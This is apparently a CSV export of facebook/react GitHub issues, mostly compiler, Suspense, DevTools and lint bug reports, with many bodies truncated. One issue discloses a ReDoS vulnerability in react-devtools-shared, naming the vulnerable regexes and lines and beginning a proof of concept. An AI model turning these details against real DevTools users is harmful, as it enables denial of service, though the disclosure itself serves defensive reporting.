facebook/react,3830288882,[Compiler Bug]: Value returned from `useEffectEvent` is mistakenly treated as a dependency,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAogGaUJx4A0JZVNd5AbggHYNMIDKeAIZ4EBAL4FKMCBgIByGAiF15AbgA6XTDnxECAFQQAPQpOmyFSlXgC0XEWk7qtWnbkLEAwrIBGaLgQAEwBxGCEsAAsARQAZchgZGDBGPABPLDEEpNi0AGsxcxk5eQABCIgAG0qIAHo4SrRuPBdtbA8CQLwASS5KCClihVLrOntHTls4WQwobXTaroD+1q10zIJs3AARESECAF4iLQICBETcZE2LmFyCzS5TpRo8OEirgAoASkOAPgIAArFNBkAA8czyXAgAHcuL8HuIHloTLpCNMuGBCKQEAA5BB4aG4PIAJWUbyEvkqFGotEIRw+cCE1V8Kjynx+B3+7AgaCCHP+wBOfBYtI+QtO3z+4tOnXxvX6ADohEEghxmrlMdxzh8PsQQb1RDAuqSVJEKVSJPzjo8Zba0JQCB99TxzsayWbKWIDt6CHgYFAED9BTbbbbGczWd8HqGZeJpadxF96NKANrhyosuB5AC6yZtXwRSMCxlRBHRmII0QDMDSW2SQIg7F550OjqtwdO5cIKfOSRSBDIeDrYGzrexghECFBdd2whT2d+H3nBdcNtqtQICq3q87EAxhDNXCCVLxBKJJvJnrHzBpbE4PB17el-Rgjq7+l7uEYz3xbwkBAgB1P2SIN4wIe1HQAQh8DB-ECUJwiiOJhwVEEPmAr5QJDUNuV5Agf1eSIozAuNsNIhMVxtbFT0JGASXdc1qVYPBHz+a1bUPY9cXxWj6NNRjiJtRMiyefFYEeUEjFMX4AAkEGqAZaMqIJQVqKS8HhLRES0EB6BAdFKDQABzFB0HaPR1jEYgAUqKAjICAB5LA8DQPcwH-CwShZXx5NsLBbPsrhbFGOxpmwNAqRgWoghBFoi11IV1zCrAIscPcAFkICCBArg0EAmUqPKtIHRwwEMhB3JsuzHOc1yMQLXTwEiGEDVdJkwBQSh2oQcQgA

### Repro steps

See the repro link above.... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-19T15:49:12Z,2026-01-19T17:08:44Z,1
facebook/react,3827264385,[Compiler Bug]: allow `'use no memo'` inside callbacks,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAcimBACOAbASwQDsAXNAbgB1iaCBbABwhlO2GwEE8FWBhAvB4BJOBGIAabABkIAQwAmvAEzYAvtgBmMCPWxo8UOASUBaGAjlxy1Yg2at22TAgBK0UrykuAypfgAFgAKcjBy9GDqWjp6aMQIAB6kAPTEcgBuBADmcqQE4pR0TCxsHD6YjCRY3lg+pLk4Gtq6+hZWNkUOpdgA4hAQWTx8EHgsouJRzbEAAslixfFkYMkEYsTLWf2DCIV2xY4cwsQA1ggIjOPEkzH6s-PMi6TLq+LPJ2eMu-YlTty8pFI-qwACIIMBwGAERh5CZNG5oO66B4kJ7JKAEZJyHisL77boAISgpFIsOiLQRcyR4hRy3RyQARkSScRcV0nHxQgopByYAphmQUdzOaDwZDoflJNgeQoABKWJQwIW8gAqBFIPGu5MRCxpaIxcE5rJ+h2IjCJmpmlJ1Sz1K1NRKNBxkcnpCDwFtuVuRNrpeBdbsd3RcnCJAT4hBRHopa08SWWclDpnwRDIgacLiCEDApBlAyjiIFceSzGzAQGaY4LlcUDIDAQ-M02XzlMLqJgNby9AQSfEjayFewWQQpB8ck0bmHsGIAFUYHgpAQwAA1LEmVyTmAzufNwj0tF5PDxxMWBSCBDWXY0TQ16wSmQDAjEABiLHoAAoAJTsGjYXCvNg6ESvDYAAvM4WDuEBMCfrYv5rNm2BYKEcDBKE4SRGBvj+ChIRhBEME-n+6xsI+mT1DCxDCAooGIdhqF4WAAB0Q6kG+aCkWquQSmgH6wURCEWKQU6zu6YFIYEuHocxw5sYJwlzjxfHwWwCakGGEZkDRwahuGKasbxhHKU4QTTvi0jCHwAD6nDTsqMoAAyWcCADyACynDCAAclIJlmRZlk9M5zk9NIACill8OZoWecqlnCMCUSYRBHZ1g22QEVc-FsCWal5klCCZtmuZZBlhHJMkvTDtgak4Okq4KA01FyZu2DTq40haCw2A5aYoxZI+2Anme1jYG+LjUZoXUIPQcgEO6fWPh+hn-oOw7rqeFj... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-18T20:08:04Z,2026-02-04T03:27:14Z,2
facebook/react,3826449863,Bug: [StrictMode] `getSnapshot` is not called after subscribing to external store when used in Suspense,"in `useSyncExternalStore`, subscribe is called as a passive effect, so it's possible the store value has changed between render and effect. As a solution, I can see react calls `getSnapshot` right after subscribing to store, to check if value is stale.

However, when using `Suspense` in `StrictMode`, `getSnapshot` is not called after subscribing to store

React version: 19.2.3

## Steps To Reproduce
Consider below code ([codesandbox](https://codesandbox.io/p/sandbox/s4qq8t))
```tsx
const subscribe = (onStoreChange: () => void) => {
  console.log(""subscribe called"");
  return () => {
    console.log(""unsubscribe called"");
  };
};
const getSnapshost = () => {
  console.log(""getSnapshot called"");
  return 1;
};

const Content = ({ promise }: { promise: Promise<any> }) => {
  React.use(promise);
  const value = React.useSyncExternalStore(subscribe, getSnapshost);
  console.log(""rendered with value"", value);
  return <div>Value {value}</div>;
};

export default function App() {
  const [, reRender] = React.useReducer((state: number) => state + 1, 0);
  const promise = React.useRef(Promise.resolve());
  return (
    <div>
      <button
        onClick={() => {
          console.log(""button clicked"");
          promise.current = new Promise<void>((resolve) => {
            setTimeout(() => {
              resolve();
            }, 500);
          });
          reRender();
        }}
      >
        Trigger Suspense
      </button>

      <Suspense fallback={<p>Loading...</p>}>
     ... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-01-18T07:14:29Z,2026-04-27T07:53:11Z,3
facebook/react,3825372407,[Compiler Bug]:,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

bbxbdx

### Repro steps

swwerwe

### How often does this bug happen?

Every time

### What version of React are you using?

rtah

### What version of React Compiler are you using?

trh","Type: Bug,Status: Unconfirmed",2026-01-17T15:10:48Z,2026-02-04T01:45:24Z,1
facebook/react,3823801106,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-16T21:55:13Z,2026-01-17T02:15:34Z,0
facebook/react,3820519636,[Compiler Bug]: npm run dev and npm run build produce different results,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/hnamekawa/movie-app

### Repro steps

1. Clone the repo

2. Run `npm run dev`

The app works fine without any errors

3. Run `npm run build`

The React compiler reports the errors shown below, and the app fails to load

Description
`src/types/Todo.ts` defines a `Todo` interface, and `src/App.tsx` imports and uses that interface.
It seems that TypeScript interfaces are not being handled correctly during the build process.

When `src/App.tsx` is transpiled, it makes sense that an error occurs because the Todo interface does not exist at runtime.
However, `npm run dev` does not show any error, while `npm run build` does.

This inconsistency between dev and build is the issue I want to report.


`npm run build` error log detail

```
src/App.tsx:2:1 - error TS6133: 'TodoItem' is declared but its value is never read.

2 import { TodoItem }  from ""./types/Todo"";
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

src/App.tsx:9:38 - error TS2304: Cannot find name 'Todo'.

9   const [todos, setTodos] = useState<Todo[]>([]);
                                       ~... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-16T05:57:23Z,2026-01-17T04:00:28Z,3
facebook/react,3807945076,"It cannot load normally and keeps showing ""Loading React Element Tree...""","<img width=""675"" height=""504"" alt=""Image"" src=""https://github.com/user-attachments/assets/78c24013-7f9a-4ae1-a579-e354c1043b9a"" />

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",Resolution: Stale,2026-01-13T09:22:22Z,2026-05-09T09:34:27Z,4
facebook/react,3805676167,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-12T19:25:43Z,2026-01-12T20:52:52Z,0
facebook/react,3804421244,Bug: Inefficient Regular Expression Complexity in react,"### Summary
A Regular Expression Denial of Service (ReDoS) vulnerability was identified in Facebook React within the react-devtools-shared package. The issue exists in the backend/utils.js component, specifically within the regular expressions used for parsing at lines 368, 369, 381, and 417. By providing a specially crafted input string to the DevTools backend, an attacker or a malicious website being inspected can trigger catastrophic backtracking. This leads to excessive CPU consumption and causes the browser tab or the DevTools process to become unresponsive, resulting in a Denial of Service (DoS).

### Details
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381
https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417


### PoC
PoC for `line 368`:
```js
/**
 * ReDoS PoC for regexId: 6 (Validated and Optimized)
 *
 * Target Regex: /\)+$/
 * Dataflow Path: componentStack -> split('\n') -> trim() -> replace(/^\(+/) -> SINK: replace(/\)+$/)
 * Path Constraints: Must pass Chrome stack format check
 * Data Transformations: split('\n'), trim(), rep... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-01-12T13:52:26Z,2026-05-05T16:36:35Z,11
facebook/react,3804189710,Bug: 浏览器自动翻译为中文会导致页面崩溃,页面切换为英文，正常不崩溃，但是切换到中文，随意切换多个页面，会导致页面崩溃,Status: Unconfirmed,2026-01-12T12:49:59Z,2026-02-04T01:44:37Z,0
facebook/react,3802606121,[spam],[spam],Status: Unconfirmed,2026-01-12T03:09:27Z,2026-01-12T10:24:47Z,0
facebook/react,3802388753,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-12T00:43:35Z,2026-02-04T01:44:43Z,0
facebook/react,3785234967,Bug: ViewTransition is not working in rtl,"That looks strange 

https://github.com/vercel/next.js/issues/87773

I see transitions in animate debug panel, but visually is nothing happens","Status: Unconfirmed,Resolution: Stale",2026-01-06T13:56:08Z,2026-04-13T14:37:49Z,4
facebook/react,3784399376,[DevTools Bug]:,"### Website or app

http://localhost:3000/en/p2p/purchaseOrders/purchase-order

### Repro steps

http://localhost:3000/en/p2p/purchaseOrders/purchase-order

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-01-06T09:22:17Z,2026-01-07T00:21:54Z,0
facebook/react,3781970267,Bug: ViewTransition can't be isolated,"React version:
    ""react"": ""19.2.3"",
    ""react-dom"": ""19.2.3"",

## Steps To Reproduce

I have a Dialog wrapped with ViewTransition. Inside the dialog I’m using the Streamdown library.

Streamdown updates its blocks using startTransition. As a result, view transitions keep triggering while Streamdown is streaming.

It seems like there’s no way to isolate part of the tree so that startTransition inside the dialog doesn’t trigger transitions outside of it.

I can’t disable ViewTransition on the dialog during streaming, because the dialog needs the close animation.

I think view transitions must be executed somehow explicitly and not via startTransition itself.
Or I need a way like 
```
<Isolate>
  ...startTransitions here would not cause view transitions to start
</Isolate>
```

PS: `addTransitionType`
And 
```
::view-transition-group(*) {
  animation-duration: 0ms;
  animation: none;
}
...
:root:active-view-transition-type(video-grid-dialog) {
...
}
```
doesn't help, chrome flickers anyway","Status: Unconfirmed,Resolution: Stale",2026-01-05T15:49:12Z,2026-04-12T17:13:27Z,2
facebook/react,3774760444,Leave me alone,"https://github.com/facebook/react/pull/35409

There are junior developers: @josephsavona, @ryancavanaugh, @facebook, @microsoft, @tiktok harassing me. 

@josephsavona renamed my pull request to Spam? Delete the pull request. ",Status: Unconfirmed,2026-01-01T14:41:07Z,2026-01-02T17:59:38Z,0
facebook/react,3773359743,Bug:,"Title: Consider built-in routing support in React core

React is an amazing library and has become the backbone of modern web applications.

One common requirement in almost every React web app is routing. Currently, developers must rely on third-party libraries such as react-router-dom. While these libraries are excellent, routing is such a fundamental need that it might be worth considering some level of built-in routing support in React itself.

Having an official, minimal router maintained alongside React could:
	•	Reduce dependency on third-party packages
	•	Improve beginner experience
	•	Ensure tighter integration with React features and future updates

Thank you for building such an awesome ecosystem and for continuously improving React.
",Status: Unconfirmed,2025-12-31T18:46:12Z,2026-01-01T03:06:32Z,1
facebook/react,3767060756,react-reconciler: flushSync was renamed to flushSyncFromReconciler without deprecation notice,"In react-reconciler, the `flushSync` export was renamed to `flushSyncFromReconciler` in PR #28500 (merged April 8, 2024). This is an undocumented breaking change for custom renderers.

**Commit:** https://github.com/facebook/react/pull/28500

According to that PR, custom renderers should now use:
- `reconciler.updateContainerSync()` - to update synchronously
- `reconciler.flushSyncWork()` - to flush pending sync work

However, this migration path is not documented anywhere for custom renderer authors. The change silently causes `flushSync` to be `undefined` with no warning.

**0.29.x API:**
```js
const reconciler = ReactReconciler(hostConfig)
const { flushSync } = reconciler  // works

// Usage
flushSync(() => {
  reconciler.updateContainer(element, container, null, callback)
})
```

**0.31.0+ API:**
```js
const reconciler = ReactReconciler(hostConfig)
const { flushSync } = reconciler  // undefined!

// New intended usage (undocumented):
reconciler.updateContainerSync(element, container, null, callback)
reconciler.flushSyncWork()
```

Could we please:
1. Document the new API for custom renderers in the react-reconciler README
2. Or add a deprecation warning when accessing the old `flushSync` property

This affects custom renderers like @opentui/react that were following the previous patterns.",Resolution: Stale,2025-12-29T10:39:57Z,2026-04-30T09:45:27Z,5
facebook/react,3751135479,Bug: resolveLazy catching promises causes race condition with short-lived Suspense-wrapped components,"## Steps To Reproduce

1. Create a React Server Component with a short async delay (~5ms) wrapped in Suspense
2. Trigger a revalidation (e.g., via revalidatePath() in Next.js)
3. The server sends correct updated data, but the client UI does not update

Link to code example: https://github.com/vercel/next.js/issues/87529

## The current behavior

After calling revalidatePath(), the browser receives the correct Flight data with the updated counter value, but the UI remains stuck showing the old value. This only happens:
- In production mode
- With short async delays (~5ms)
- When the component is wrapped in Suspense

https://github.com/user-attachments/assets/85e3ccaa-75af-4bed-859e-972c30e50904

The issue was introduced in commit that upgraded React from `eaee5308-20250728` to `9be531cd-20250729`.

## Root cause

The new resolveLazy function in ReactChildFiber.js catches promises and throws SuspenseException:

```ts
export function resolveLazy<T>(lazyType: LazyComponentType<T, any>): T {
  try {
    if (__DEV__) {
      return callLazyInitInDEV(lazyType);
    }
    const payload = lazyType._payload;
    const init = lazyType._init;
    return init(payload);
  } catch (x) {
    if (x !== null && typeof x === 'object' && typeof x.then === 'function') {
      // This lazy Suspended. Treat this as if we called use() to unwrap it.
      suspendedThenable = x;
      if (__DEV__) {
        needsToResetSuspendedThenableDEV = true;
      }
      throw SuspenseException;
    }
    throw... [TRUNCATED]",Status: Unconfirmed,2025-12-21T13:15:39Z,2026-01-16T18:04:57Z,6
facebook/react,3750036162,[DevTools Bug]:,"### Website or app

https://legacy.reactjs.org/versions/

### Repro steps

![Image](https://github.com/user-attachments/assets/a7e10b3c-cba9-4355-9b6e-99cc306a596a)

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-12-20T12:58:15Z,2026-01-07T00:22:18Z,0
facebook/react,3748438519,Bug: `eslint-plugin-react-hooks` hides all errors on multiple findings,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

React version: 19.2.0

## Steps To Reproduce

1. Add `eslint-plugin-react-hooks` to your project
2. Open a tsx file
3. Intentionally add a violation of the `react-hooks/set-state-in-effect` rule
4. In the same file, intentionally add a violation of `react-hooks/static-components` rule
5. Uncomment 1 of the 2 commented lines of code below

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-12-19T18:39:27Z,2026-04-12T00:40:27Z,13
facebook/react,3748401443,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-12-19T18:25:13Z,2026-01-07T00:22:31Z,0
facebook/react,3744473391,Bug: react-devtools 7.0.1 - Electron failed to install correctly,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: Latest

## Steps To Reproduce

1. Install `react-devtools` as global package.
2. Try running it.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
```
❯ react-devtools         
~/.local/share/mise/installs/npm-react-devtools/7.0.1/5/.pnpm/electron@23.3.13/node_modules/electron/index.js:17
    throw new Error('Electron failed to install correctly, please delete node_modules/electron and try installing again');
    ^

Error: Electron failed to install correctly, please delete node_modules/electron and try installing again
    at getElectronPath (~/.local/share/mise/installs/npm-react-devtools/7.0.1/5/.pnpm/electron@23.3.13/node_modules/electron/index.js:17:11)
... [TRUNCATED]",Status: Unconfirmed,2025-12-18T19:10:54Z,2026-02-15T16:42:37Z,2
facebook/react,3739945738,Bug: Transition never resolves when nesting Suspense,"React version: 19.2.3

## Steps To Reproduce

1. Open https://codesandbox.io/p/sandbox/kng288?file=%2Fsrc%2FApp.js
2. Press ""resolve content of 0""
3. Press ""next session""

## The current behavior

nothing happens

## The expected behavior

""session 0"" changes to ""session 1""

## Full Code

```js
import { useState, use, Suspense, startTransition } from ""react"";

let nextId = 0;

class Session {
  id = nextId++;
  contentPromise;
  resolveContent;

  constructor() {
    this.contentPromise = new Promise((r) => (this.resolveContent = r));
  }

  static async create() {
    await Promise.resolve();
    return new Session();
  }
}

let initialSessionPromise = Session.create();

export default function App() {
  const [sessionPromise, setSessionPromise] = useState(initialSessionPromise);

  return (
    <Suspense fallback={<p>loading session...</p>}>
      <SessionView
        sessionPromise={sessionPromise}
        onNew={() => startTransition(() => setSessionPromise(Session.create()))}
      />
    </Suspense>
  );
}

function SessionView({ sessionPromise, onNew }) {
  const session = use(sessionPromise);

  return (
    <>
      <p>session {session.id}</p>
      <button onClick={onNew}>new session</button>
      <button onClick={session.resolveContent}>
        resolve content of {session.id}
      </button>
      <Suspense fallback={<p>loading content for {session.id}...</p>}>
        <Content session={session} />
      </Suspense>
    </>
  );
}

function Content({ session }) {... [TRUNCATED]",Status: Unconfirmed,2025-12-17T18:15:20Z,2025-12-18T02:02:05Z,4
facebook/react,3737494567,Bug: I have found one issue on your blog.,"I found your blog in issue: 
Blog URL: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components#additional-fix-published
Blog Title: Denial of Service and Source Code Exposure in React Server Components
-> In this blog you are added multiple react version. 
This includes versions 19.0.0, 19.0.1, 19.0.2, 19.1.0, 19.1.1, 19.1.2, 19.1.2, 19.2.0, 19.2.1 and 19.2.2
-> Issue is your are added multiple time added this version 19.1.2. ","Status: Unconfirmed,Resolution: Stale",2025-12-17T06:13:50Z,2026-04-12T23:13:01Z,5
facebook/react,3736261831,Bug: `react-hooks/set-state-in-effect` doesn't work in `React.useState` and `React.useEffect`,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

When calling `setState` from inside `React.useEffect`, as opposed to directly `useEffect`, the `set-state-in-effect` eslint rule does not detect a violation. This rule should detect violations regardless of how `useState` and `useEffect` are imported.

React version: 19.2.3
`eslint-plugin-react-hooks` version: 7.0.1

## Steps To Reproduce

1. Enable `set-state-in-effect` in your eslint config
2. Import React with `import * as React from 'react'`
3. Create a component that calls `setState` from inside `React.useEffect`
4. Run eslint and observe that eslint does not fail
<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/appellation/eslint-react-repro

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

`set-s... [TRUNCATED]",Status: Unconfirmed,2025-12-16T20:44:21Z,2026-02-04T17:49:17Z,2
facebook/react,3735180553,Bug: Fiber Scheduler Overhead Under Heavy Suspense Trees,"Large Suspense boundaries create nested work units that increase reconciliation time due to excessive yielding.
A micro-optimization in beginWork to short‑circuit noop boundaries would reduce UI stalls in concurrent mode.","Status: Unconfirmed,Resolution: Stale",2025-12-16T15:02:49Z,2026-03-23T16:22:46Z,2
facebook/react,3733426626,Improve cyclic thenable detection in ReactFlightReplyServer,"React version:
19.0.3

## Steps To Reproduce

1. In `ReactFlightReplyServer.js`, construct a chain of `ReactPromise` instances where each `.value` points to the next, and the last one points back to the first (e.g. `A -> B -> C -> A`), creating a multi‑node cycle.
2. Trigger the cycle detection logic by resolving a chunk whose `value` is the head of this cycle and observing how the `while (inspectedValue instanceof ReactPromise)` loop behaves.

## The current behavior

The cycle detection added in commit `bd4289b` only checks for a direct
self‑reference:

```js
let cycleProtection = 0;
while (inspectedValue instanceof ReactPromise) {
  cycleProtection++;
  if (inspectedValue === chunk || cycleProtection > 1000) {
    if (typeof reject === 'function') {
      reject(new Error('Cannot have cyclic thenables.'));
    }
  }
}
```

`inspectedValue === chunk` catches a simple self‑loop, but a longer cycle like `A -> B -> C -> A` will continue iterating until the `cycleProtection` counter hits the $1000$ limit instead of detecting the cycle when a node is revisited.

## The expected behavior

Any cyclic thenable chain, including multi‑node cycles (not just direct
self‑references), should be rejected as soon as a `ReactPromise` is encountered more than once in the traversal, rather than relying on the $1000$ `cycleProtection` cap to eventually bail out.
",Status: Unconfirmed,2025-12-16T06:42:13Z,2025-12-17T11:22:27Z,2
facebook/react,3733390400,Improve cyclic thenable detection in ReactFlightReplyServer,Closing this PR for now; I want to rethink the approach and will open a new one if needed.,Status: Unconfirmed,2025-12-16T06:28:41Z,2025-12-16T06:32:09Z,0
facebook/react,3729312611,[DevTools Bug] Children cannot be added or removed during a reorder operation.,"### Website or app

npx react-devtools

### Repro steps

I just run `npx react-devtools`, it recognise my app because does not appear the first page about how to connect it, but I always receive this error even have already checked my FlatList components (I am running React Native Expo development build). And if I close the error, it never loads my components. I receive a ""Loading React Element Tree..."" in looping.

I have already tried `NODE_OPTIONS=""--max-old-space-size=4096"" react-devtools` but still the same error

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-core

### DevTools version (automated)

7.0.1-3cde211b0c

### Error message (automated)

Children cannot be added or removed during a reorder operation.

### Error call stack (automated)

```text
at /Users/mariaferreira/.nvm/versions/node/v24.6.0/lib/node_modules/react-devtools/node_modules/react-devtools-core/dist/standalone.js:1:1124896
    at f.emit (/Users/mariaferreira/.nvm/versions/node/v24.6.0/lib/node_modules/react-devtools/node_modules/react-devtools-core/dist/standalone.js:1:1055367)
    at /Users/mariaferreira/.nvm/versions/node/v24.6.0/lib/node_modules/react-devtools/node_modules/react-devtools-core/dist/standalone.js:1:1057098
    at /Users/mariaferreira/.nvm/versions/node/v24.6.0/lib/node_modules/react-devtools/node_modules/react-devtools-core/dist/standalone.js:1:1539281
    at Array.forEach (<anonymous>)
    at KS.e.onmessage (/Users/mariaferreira/.... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-12-15T08:24:26Z,2026-02-07T22:24:21Z,6
facebook/react,3725948372,[Compiler Bug]:Compiler doesn't memoize if const is between hooks,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4lgzg9grgTgxgUxALhAejQAgLIILYQCWAXggCaYBGAnpgEolCGc

### Repro steps

1. Open the React Compiler Playground link: https://playground.react.dev/#N4lgzg9grgTgxgUxALhAejQAgLIILYQCWAXggCaYBGAnpgEolCGc
2. Observe the code that has a `const` declaration between React hooks
3. Check the compiled output - you'll see that memoization is not working correctly
4. The compiler should memoize values even when const is between hooks, but it currently doesn't

### How often does this bug happen?

Every time

### What version of React are you using?

 Latest (React 19 or main branch)

### What version of React Compiler are you using?

Latest babel-plugin-react-compiler from main branch","Type: Bug,Status: Unconfirmed",2025-12-13T13:10:35Z,2025-12-13T21:20:43Z,1
facebook/react,3723197024,[Compiler Bug]: Function hoisting ignored in eslint rule react-hooks/immutability,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

